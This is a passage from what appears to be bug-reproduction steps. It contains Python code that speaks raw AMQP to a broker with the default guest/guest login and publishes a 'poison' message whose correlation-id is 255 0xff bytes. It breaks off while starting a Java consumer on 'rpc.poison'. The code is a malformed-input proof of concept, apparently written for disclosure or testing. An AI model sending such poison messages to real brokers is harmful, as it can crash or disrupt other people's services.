def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(